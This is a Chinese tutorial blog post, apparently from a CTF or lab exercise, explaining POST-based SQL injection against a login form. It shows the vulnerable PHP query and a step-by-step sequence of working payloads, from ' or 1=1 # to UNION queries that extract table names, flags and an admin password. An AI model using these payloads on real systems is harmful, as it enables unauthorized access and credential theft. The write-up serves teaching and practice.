POST注入

POST注入

一、POST注入介绍

注入攻击的本质是把用户输入的数据当做代码执行,POST注入一般会在表单的地方。
1.有两个关键条件:
①用户能够控制输入
②原本程序要执行的代码拼接了用户输入的数据
2.POST注入高危点:
登录框
查询框
各种和数据库有交互的框
3.最经典的POST注入莫过于万能密码:
’or 1=1 #
万能密码就是引出注入手法,你在登录的时候输入什么都能登录

二、例题

例如第一题
首先在这里插入图片描述
首先我们查看源码在这里插入图片描述

$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
$result = mysqli_query($conn,$sql);

我们会发现直接执行了sql的拼接语句,中间没有任何过滤,所以判断存在SQL注入,所以我们用’闭合$username前的内容,同时注释掉后面的内容,达到和数据库建立连接

'or 1=1 #
select * from user where username='' or 1=1 #
查询user表中username为空的值,或者1=1的值,1=1恒成立所以无论输入什么都会有数据显示

所以第一步我们先用万能密码’or 1=1 #发现存在POST注入
在这里插入图片描述
第二步用order by查字段数

1' or 1=1 order by 1 #
1' or 1=1 order by 2 #
1' or 1=1 order by 3 #

order by 4时结果显示错误,判断有三个字段在这里插入图片描述
第三步判断回显点

'union select 1 #
'union select 1,2 #
'union select 1,2,3 #

得到回显点是2和3
在这里插入图片描述

第四步,我们用database()查询数据库名

'union select 1,2,database() #

得出库名post_error
在这里插入图片描述
第五步查表名

'union select 1,2,table_name from information_schema.tables where table_schema="post_error" limit 0,1#

得出表名flag,user
在这里插入图片描述
在这里插入图片描述
第六步我们查字段名

'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 0,1#
...
'union select 1,2,column_name from information_schema.columns where table_name='user' limit 1,1#
'union select 1,2,column_name from information_schema.columns where table_name='user' limit 0,1#

flag表中字段:id,flag
user表中字段:id,username,password
在这里插入图片描述
在这里插入图片描述
第七步我们来查表中数据
将字段依次输入

'union select 1,2,flag from flag limit 0,1#
'union select 1,2,username from user limit 0,1#

查询结果分别为:id from flag-> 1,2,3
flag from flag-> zKaQ-PostK1,zKaQ-XZT,zKaQ-FlagA1
username from user->admin
password from user->as4dsa2dsad2a3

在这里插入图片描述
在这里插入图片描述
成功找到flage为zKaQ-PostK1
在这里插入图片描述

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值